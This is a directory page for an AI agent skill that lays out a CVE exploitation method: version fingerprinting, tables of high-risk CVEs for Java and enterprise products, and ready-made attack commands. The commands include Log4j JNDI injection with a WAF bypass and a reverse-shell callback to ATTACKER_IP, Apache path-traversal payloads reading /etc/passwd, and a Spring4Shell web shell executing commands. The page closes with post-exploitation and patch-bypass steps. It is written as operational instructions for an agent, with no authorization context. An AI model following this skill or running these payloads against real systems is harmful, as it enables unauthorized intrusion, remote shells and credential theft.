SuperAPI AI Directory

cve-exploit-methodology

General & other

View repository

Updated 10-16 08:44

About this skill

CVE Exploitation Methodology

The key to exploiting a known CVE is not "find an exploit script and run it"—but ratherprecisely matching the version, selecting a reliable PoC, and understanding the exploitation conditions. Discover a known vulnerable component → check the version → find the CVE → directly send the payload.

⛔ In-Depth Reference

  • Key exploitation points table for high-risk CVEs, patch bypasses, PoC evaluation, version acquisition techniques → references/cve-catalog.md
  • Complete payload for a specific CVE → search_vulndb(query="产品名") + read_vuln(id="CVE-xxx")(vulndb has a large number of structured entries, covering all mainstream components)

Phase 0: Use Nuclei to Verify Known CVEs (Highest Priority)

⚠️ When encountering a known CVE, the first step is to verify it with a Nuclei scan! The template library contains community-verified precise payloads, which are more accurate than constructing them from memory.

Detailed Nuclei usage → Skill(skill="nuclei-scan")

# 针对特定 CVE 扫描(最常用,速度快)
nuclei -u http://target -t cves/ -tags CVE-2021-42013
# 按产品搜索模板并扫描
nuclei -u http://target -t cves/ -tags apache
# 只扫高危(节省时间)
nuclei -u http://target -t cves/ -severity critical,high

After finding a matching template, read it to extract payload details:

find ~/nuclei-templates/http/cves/ -name "*42013*"
cat ~/nuclei-templates/http/cves/2021/CVE-2021-42013.yaml

Templates contain raw HTTP requests (which can be extracted for curl/http_request), variables (to replace with actual commands), and matchers (to determine the conditions for successful exploitation).

Phase 1: Precise Version Identification

Prerequisite for CVE exploitation:Confirm that the target version is within the affected range. Being off by one minor version may mean it is outside the affected range.

whatweb http://target
curl -sI http://target | grep -i "Server\|X-Powered-By"
nmap -sV -p 80,443,8080 target
Technology Stack Version Acquisition Method
WordPress /feed/ generator tag,/wp-includes/version.php
Spring Boot /actuator/info、/actuator/env
Tomcat default 404 page,/manager/html
PHP X-Powered-By response header,phpinfo()
Drupal /CHANGELOG.txt、/core/lib/Drupal.php
Joomla /administrator/manifests/files/joomla.xml

Phase 2: Component → CVE Quick Lookup Mapping

Java Ecosystem (Most Common) → Detailed payload: search_vulndb(query="组件名")

Component Fingerprint Feature High-Risk CVE Affected Version
Log4j Java Application CVE-2021-44228 2.0-2.14.1
Shiro rememberMe Cookie CVE-2016-4437 < 1.2.5
Struts2 .action/.do suffix S2-045/046/048/057/061 Multiple versions
Fastjson JSON interface 1.2.24/1.2.47/1.2.68/1.2.80 < 1.2.83
Spring Java Web CVE-2022-22965 (Spring4Shell) 5.3.0-5.3.17
WebLogic Port 7001 CVE-2023-21839, etc. Multiple versions
Tomcat 8080/AJP 8009 CVE-2020-1938 (Ghostcat) < 9.0.31

Enterprise Infrastructure → Detailed payload: search_vulndb(query="组件名")

Component Fingerprint Feature High-Risk CVE
Confluence /wiki/ path CVE-2022-26134, CVE-2023-22527
GitLab gitlab feature CVE-2021-22205, CVE-2023-7028
Exchange /owa/ path ProxyShell/ProxyLogon/ProxyNotShell
vCenter vsphere-client CVE-2021-21972, CVE-2021-22005
Jenkins /jenkins/ path CVE-2024-23897
F5 BIG-IP /tmui/ path CVE-2022-1388, CVE-2023-46747
Fortinet /remote/login CVE-2018-13379, CVE-2024-47575

Web Server/Framework

CVE Software Exploitation Point
CVE-2021-41773 Apache 2.4.49 /.%2e/.%2e/etc/passwd, CGI enabled can lead to RCE
CVE-2021-42013 Apache 2.4.49-50 41773 patch bypass,/%%32%65%%32%65/etc/passwd
CVE-2023-22515 Confluence unauthorized creation of administrator /setup/setupadministrator.action
CVE-2024-1709 ScreenConnect authentication bypass

Phase 3: Quick Exploitation (High-Frequency CVE Quick Lookup)

Log4j (CVE-2021-44228)

# 验证(注入任何被 log 的输入: Header/参数/路径/Cookie)
curl -H 'X-Forwarded-For: ${jndi:ldap://DNSLOG/a}' http://TARGET
# WAF 绕过
curl -H 'X-Api-Version: ${${lower:j}ndi:${lower:l}dap://DNSLOG/a}' http://TARGET
# RCE(需 JNDI 注入工具)
java -jar JNDIExploit.jar -i ATTACKER_IP -p 8888
curl -H 'X-Api-Version: ${jndi:ldap://ATTACKER:1389/Basic/ReverseShell/ATTACKER/4444}' http://TARGET

Shiro (CVE-2016-4437 / default key)

# 检测: 响应有 rememberMe=deleteMe
curl -sI http://TARGET | grep -i rememberMe
# 利用: shiro_attack(自动爆破密钥 + gadget chain + 命令执行)
java -jar shiro_attack.jar

Spring4Shell (CVE-2022-22965)

# 条件: JDK >= 9 + Spring MVC + WAR 部署(非 SpringBoot jar)
python3 spring4shell.py --url http://TARGET/path
curl "http://TARGET/shell.jsp?pwd=j&cmd=id"

DNSLog general verification

# Fastjson
curl -X POST http://TARGET -H 'Content-Type: application/json' \
  -d '{"a":{"@type":"java.net.Inet4Address","val":"DNSLOG"}}'
# SSRF / XXE / Log4j 均可用 dnslog.cn / ceye.io / interactsh 验证

→ Complete payloads for more components → search_vulndb(query="组件名") + read_vuln(id="CVE-xxx")

Phase 4: PoC Selection and Verification

Verification process: information confirmation (are the conditions met?) → harmless verification (DNS out-of-band/delay) → actual exploitation

Source Reliability Description
Nuclei official templates ⭐⭐⭐⭐⭐ Community-verified, low false positive rate
Repositories with many GitHub stars ⭐⭐⭐⭐ Check Issues and Star count
ExploitDB/Metasploit ⭐⭐⭐ Classic but possibly outdated
Random blogs/Pastebin ⭐ Code needs review, may contain backdoors

When there is no PoC: Patch analysis (patch diff / git diff) → reverse-engineer the exploitation method from the fix code → search the Nuclei template library for verification

Phase 5: Post-exploitation operations

  • RCE → post-exploit-linux / post-exploit-windows
  • Authentication bypass → log into the admin panel to find file upload/command execution
  • Information disclosure → extract credentials for lateral movement
  • Cloud SSRF → cloud-metadata

Phase 6: Patch bypass

A patched target is not necessarily secure:

  • Incomplete patch: Some CVEs' first-round patches have bypasses (e.g., Log4j CVE-2021-45046 bypasses the 44228 fix)
  • Version downgrade: Whether there are old-version instances that have not been updated
  • Variant attack: New variants of the same type of vulnerability (e.g., Apache 41773 → 42013)
  • Environment dependency: Apache mod_cgi/mod_cgid needs to be enabled, Spring needs WAR deployment, etc.